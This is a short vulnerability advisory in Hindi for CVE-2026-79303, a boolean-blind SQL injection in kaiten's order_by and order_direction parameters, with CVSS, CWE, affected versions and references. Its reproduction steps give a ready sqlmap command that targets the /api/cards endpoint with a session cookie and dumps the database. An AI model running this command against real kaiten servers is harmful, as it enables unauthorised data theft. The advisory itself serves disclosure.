CVE-2026-79303

बूलियन-ब्लाइंड SQL इंजेक्शन

विवरण: आवश्यक डेटा सत्यापन के बिना और पैरामीटराइज़्ड स्टेटमेंट या स्टोर्ड प्रोसीजर का उपयोग किए बिना डायनेमिक SQL स्टेटमेंट उत्पन्न किए जाते हैं।

प्रभाव: SQLi

CVSSv3.1 वेक्टर: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 क्रिटिकल)

CWE: CWE-89: SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('SQL इंजेक्शन')

प्रभावित घटक: GET पैरामीटर order_by और order_direction

विक्रेता: kaiten

प्रभावित उत्पाद

• kaiten संस्करण: 57.192.20 < 57.214.26

पुनरुत्पादन के चरण:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. n टाइप करें (अपने कुकी को नए कुकी के साथ मर्ज न करें) -> C

खोजकर्ता

• Danil Belov

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2026-79303
• https://bdu.fstec.ru/vul/2025-02933
• https://kaiten.ru/